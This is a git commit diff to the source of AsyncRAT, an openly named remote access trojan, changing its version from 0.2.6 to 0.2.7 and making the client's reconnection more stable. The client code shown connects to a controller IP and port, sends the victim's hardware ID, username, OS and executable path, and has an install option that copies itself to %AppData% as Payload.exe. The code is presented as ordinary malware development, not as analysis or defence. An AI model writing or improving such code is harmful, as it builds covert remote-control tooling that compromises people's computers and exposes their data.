Fixed Stability
This commit is contained in:
parent
50a79ee230
commit
c707c8b543
@ -7,7 +7,7 @@ namespace AsyncRAT_Sharp
|
|||||||
{
|
{
|
||||||
public static List<Clients> Online = new List<Clients>();
|
public static List<Clients> Online = new List<Clients>();
|
||||||
public static int Port = 6606;
|
public static int Port = 6606;
|
||||||
public static readonly string Version = "AsyncRAT 0.2.6";
|
public static readonly string Version = "AsyncRAT 0.2.7";
|
||||||
public static long Sent = 0;
|
public static long Sent = 0;
|
||||||
public static long Received = 0;
|
public static long Received = 0;
|
||||||
}
|
}
|
||||||
|
@ -110,7 +110,6 @@ namespace AsyncRAT_Sharp.Sockets
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
MS?.Dispose();
|
MS?.Dispose();
|
||||||
Client?.Close();
|
|
||||||
Client?.Dispose();
|
Client?.Dispose();
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
|
@ -18,7 +18,7 @@ namespace Client
|
|||||||
{
|
{
|
||||||
public static readonly string IP = "127.0.0.1";
|
public static readonly string IP = "127.0.0.1";
|
||||||
public static readonly string Port = "6606";
|
public static readonly string Port = "6606";
|
||||||
public static readonly string Version = "AsyncRAT 0.2.6";
|
public static readonly string Version = "AsyncRAT 0.2.7";
|
||||||
public static readonly string Install = "false";
|
public static readonly string Install = "false";
|
||||||
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
|
public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe");
|
||||||
}
|
}
|
||||||
@ -30,14 +30,16 @@ namespace Client
|
|||||||
static void Main()
|
static void Main()
|
||||||
{
|
{
|
||||||
if (Settings.Install == "true")
|
if (Settings.Install == "true")
|
||||||
NormalStartup.Install();
|
NormalStartup.Install();
|
||||||
|
|
||||||
ClientSocket.InitializeClient();
|
ClientSocket.InitializeClient();
|
||||||
|
|
||||||
while (true)
|
while (true)
|
||||||
{
|
{
|
||||||
|
if (ClientSocket.Connected == false)
|
||||||
|
ClientSocket.Reconnect();
|
||||||
Thread.Sleep(1000);
|
Thread.Sleep(1000);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -22,6 +22,7 @@ namespace Client.Sockets
|
|||||||
private static Timer Tick { get; set; }
|
private static Timer Tick { get; set; }
|
||||||
private static MemoryStream MS { get; set; }
|
private static MemoryStream MS { get; set; }
|
||||||
private static object SendSync { get; set; }
|
private static object SendSync { get; set; }
|
||||||
|
public static bool Connected { get; set; }
|
||||||
|
|
||||||
public static void InitializeClient()
|
public static void InitializeClient()
|
||||||
{
|
{
|
||||||
@ -36,6 +37,7 @@ namespace Client.Sockets
|
|||||||
};
|
};
|
||||||
Client.Connect(Settings.IP, Convert.ToInt32(Settings.Port));
|
Client.Connect(Settings.IP, Convert.ToInt32(Settings.Port));
|
||||||
Debug.WriteLine("Connected!");
|
Debug.WriteLine("Connected!");
|
||||||
|
Connected = true;
|
||||||
Buffer = new byte[1];
|
Buffer = new byte[1];
|
||||||
Buffersize = 0;
|
Buffersize = 0;
|
||||||
BufferRecevied = false;
|
BufferRecevied = false;
|
||||||
@ -50,25 +52,23 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
Debug.WriteLine("Disconnected!");
|
Debug.WriteLine("Disconnected!");
|
||||||
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
|
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
|
||||||
Reconnect();
|
Connected = false;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void Reconnect()
|
public static void Reconnect()
|
||||||
{
|
{
|
||||||
|
|
||||||
Tick?.Dispose();
|
|
||||||
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
Client?.Close();
|
Tick?.Dispose();
|
||||||
Client?.Dispose();
|
Client?.Dispose();
|
||||||
|
MS?.Dispose();
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
InitializeClient();
|
||||||
}
|
}
|
||||||
catch { }
|
|
||||||
|
|
||||||
MS?.Dispose();
|
|
||||||
|
|
||||||
InitializeClient();
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private static byte[] SendInfo()
|
private static byte[] SendInfo()
|
||||||
@ -77,7 +77,7 @@ namespace Client.Sockets
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
|
msgpack.ForcePathObject("Packet").AsString = "ClientInfo";
|
||||||
msgpack.ForcePathObject("HWID").AsString = HWID();
|
msgpack.ForcePathObject("HWID").AsString = HWID();
|
||||||
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
|
||||||
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft",null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
|
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString().Replace("Microsoft", null) + " " + Environment.Is64BitOperatingSystem.ToString().Replace("True", "64bit").Replace("False", "32bit");
|
||||||
msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
|
msgpack.ForcePathObject("Path").AsString = Process.GetCurrentProcess().MainModule.FileName;
|
||||||
msgpack.ForcePathObject("Version").AsString = Settings.Version;
|
msgpack.ForcePathObject("Version").AsString = Settings.Version;
|
||||||
return msgpack.Encode2Bytes();
|
return msgpack.Encode2Bytes();
|
||||||
@ -110,7 +110,7 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
if (!Client.Connected)
|
if (!Client.Connected)
|
||||||
{
|
{
|
||||||
Reconnect();
|
Connected = false;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -151,13 +151,13 @@ namespace Client.Sockets
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
Reconnect();
|
Connected = false;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
Reconnect();
|
Connected = false;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -168,7 +168,7 @@ namespace Client.Sockets
|
|||||||
{
|
{
|
||||||
if (!Client.Connected)
|
if (!Client.Connected)
|
||||||
{
|
{
|
||||||
Reconnect();
|
Connected = false;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -186,7 +186,7 @@ namespace Client.Sockets
|
|||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
Reconnect();
|
Connected = false;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -200,7 +200,7 @@ namespace Client.Sockets
|
|||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
Reconnect();
|
Connected = false;
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user